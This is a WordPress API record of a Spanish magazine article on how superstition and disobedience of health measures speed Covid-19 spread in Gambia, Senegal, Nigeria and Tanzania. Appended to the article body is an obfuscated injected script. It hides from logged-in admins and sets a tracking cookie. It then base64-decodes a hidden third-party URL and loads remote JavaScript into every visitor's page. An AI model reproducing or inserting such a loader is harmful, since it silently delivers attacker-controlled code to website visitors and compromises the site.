{"id":294,"date":"2020-05-23T12:10:01","date_gmt":"2020-05-23T10:10:01","guid":{"rendered":"http:\/\/puertadeafrica.com\/?p=294"},"modified":"2026-05-16T16:51:39","modified_gmt":"2026-05-16T14:51:39","slug":"supersticion-y-desobediencia-motores-de-la-transmision","status":"publish","type":"post","link":"https:\/\/revista.puertadeafrica.com\/index.php\/2020\/05\/23\/supersticion-y-desobediencia-motores-de-la-transmision\/","title":{"rendered":"Superstici\u00f3n y desobediencia: motores de la transmisi\u00f3n"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/whatsapp-image-2020-05-13-at-11.28.22-1024x768.jpeg\" alt=\"\" class=\"wp-image-2352\" srcset=\"https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/whatsapp-image-2020-05-13-at-11.28.22-1024x768.jpeg 1024w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/whatsapp-image-2020-05-13-at-11.28.22-300x225.jpeg 300w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/whatsapp-image-2020-05-13-at-11.28.22-768x576.jpeg 768w, https:\/\/revista.puertadeafrica.com\/wp-content\/uploads\/2021\/02\/whatsapp-image-2020-05-13-at-11.28.22.jpeg 1080w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption>Hombre empujando una carretilla durante el trabajo en una calle llena de personas en medio del confinamiento, Gambia. Cr\u00e9dito: Cherno Omar Bobb<\/figcaption><\/figure>\n\n\n\n<p class=\"has-text-align-justify\">El contagio lo iniciaron viajeros procedentes de los n\u00facleos de infecci\u00f3n de Asia, Europa y los Estados Unidos. En consecuencia, la mayor\u00eda, si no todos los pa\u00edses han cerrado las fronteras a\u00e9reas y mar\u00edtimas, cancelado las clases y restringido la circulaci\u00f3n por espacios p\u00fablicos y mercados. Seg\u00fan el Centro Internacional de Investigaci\u00f3n Legal,<strong> <\/strong>se ha decretado el estado de emergencia en al menos 37 estados y se han impuesto pol\u00edticas de confinamiento estrictas que si bien deber\u00edan considerarse <strong>medidas prudentes a ojos de los cr\u00edticos llegaron tarde para una poblaci\u00f3n de por si vulnerable. <\/strong><\/p>\n\n\n\n<p class=\"has-text-align-justify\">El continente trabaja para controlar la transmisi\u00f3n interna del Covid-19 mientras las cifras de casos dom\u00e9sticos se acumulan. Gambia ha registrado la infecci\u00f3n de un ciudadano sin historial de viaje, Senegal tambi\u00e9n ha se\u00f1alado casos de transmisi\u00f3n comunitaria y Nigeria, el estado m\u00e1s poblado del continente, apunta el mayor incremento diario de infectados. Desgraciadamente la situaci\u00f3n no varia en otras regiones. Tras un aumento del 43% en contagios, los gobiernos africanos han sido instados ha aumentar los esfuerzos y la OMS avisa de que <strong>\u00c1frica podr\u00eda convertirse en el epicentro de la pandemia, con hasta 10 millones de casos en los pr\u00f3ximos 6 meses.<\/strong><\/p>\n\n\n\n<p class=\"has-text-align-justify\">Otro factor que interfiere en la capacidad de contener la expansi\u00f3n es la superstici\u00f3n de los ciudadanos. Desde la llegada de la pandemia <strong>parte de los locales no ha tomado con seriedad, y a menudo denegado, la existencia del coronavirus.<\/strong> Creen que solo aquellas personas que hab\u00edan viajado en avi\u00f3n pod\u00edan estar afectadas. En palabras de un nacional gambiano: \u00absolo la gente que puede permitirse viajar en avi\u00f3n contrae el virus, no nosotros. Se trata de una enfermedad de ricos.\u00bb<\/p>\n\n\n\n<p class=\"has-text-align-justify\">Es un hecho que el \u00c9bola, el VIH y otras epidemias mort\u00edferas siguen presentes en \u00c1frica, por lo que para ellos, nada hace pensar que el covid-19 es diferente, una \u00abenfermedad de hombre blanco\u00bb y un problema m\u00e1s que gestionar. Estas creencias supersticiosas son una pesadilla para cualquier gobierno. Mientras se usan numerosos recursos y tiempo en despertar la conciencia popular, el nuevo virus entra sigilosamente en las vidas de miles de ciudadanos. <\/p>\n\n\n\n<p class=\"has-text-align-justify\">Un periodista gambiano describe la falta de obediencia de la ciudadan\u00eda como preocupante: <em>\u00abCreedme, solo Allah puede salvarnos. A la gente no le importa. Si pudierais pasear por la ma\u00f1ana en el mercado de Serrekunda ver\u00edais a gente apelotonada como moscas. Lo peor es que la mayor\u00eda niega la existencia a\u00fan y las campa\u00f1as de sensibilizaci\u00f3n y la prueba de que personas cercanas hab\u00edan contra\u00eddo el coronavirus.\u00bb <\/em><\/p>\n\n\n\n<p class=\"has-text-align-justify\">El Presidente de Tanzania, John Magufuli, dijo que no cerrar\u00eda los centros de culto, describi\u00f3 el virus como \u00absat\u00e1nico\u00bb y apunt\u00f3 que este no puede vivir en el cuerpo de Cristo. Al final, <strong>declar\u00f3 tres d\u00edas de plegaria nacional para fomentar el encuentro masivo en iglesias.<\/strong> Las supersticiones pueden acelerar la cadena de transmisiones y prevenir que los gobiernos africanos sigan el ritmo al resto del globo.<\/p>\n\n\n\n<p class=\"has-text-align-justify\">\u00c1frica est\u00e1 a\u00fan en las primeras fases del segundo estadio de transmisi\u00f3n, lo que significa que todos los infectados ya han contagiado a amigos cercanos, familiares y compa\u00f1eros de trabajo. Es el momento de identificar a todas las personas que hayan estado en contacto con los casos registrados y ponerlos en cuarentena. \u00bfSe disponen de los medios para hacerlo?<\/p>\n\n\n\n<p style=\"font-size:11px\">Traducci\u00f3n del ingl\u00e9s por Viviane Ogou Corbi<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Aunque el coronavirus tard\u00f3 en llegar al continente africano &#8211; a excepci\u00f3n de  a Lesoto y a las Islas Comoros &#8211; el virus se est\u00e1 expandiendo vertiginosamente. La superstici\u00f3n y la desobediencia a las recomendaciones sanitarias son los motores de esta transmisi\u00f3n.<\/p>\n","protected":false},"author":7,"featured_media":2353,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[119],"tags":[],"ppma_author":[416],"authors":[{"term_id":416,"user_id":7,"is_guest":0,"slug":"mahamadoucamara41","display_name":"Mahamadou Camara","avatar_url":"https:\/\/secure.gravatar.com\/avatar\/26445bf5e94e0ab6d0163382b1ad6bce?s=96&d=mm&r=g","first_name":"Mahamadou","last_name":"Camara","user_url":"","job_title":"","description":""}],"_links":{"self":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/294"}],"collection":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/comments?post=294"}],"version-history":[{"count":2,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions"}],"predecessor-version":[{"id":4879,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions\/4879"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/media\/2353"}],"wp:attachment":[{"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/media?parent=294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/categories?post=294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/tags?post=294"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/revista.puertadeafrica.com\/index.php\/wp-json\/wp\/v2\/ppma_author?post=294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}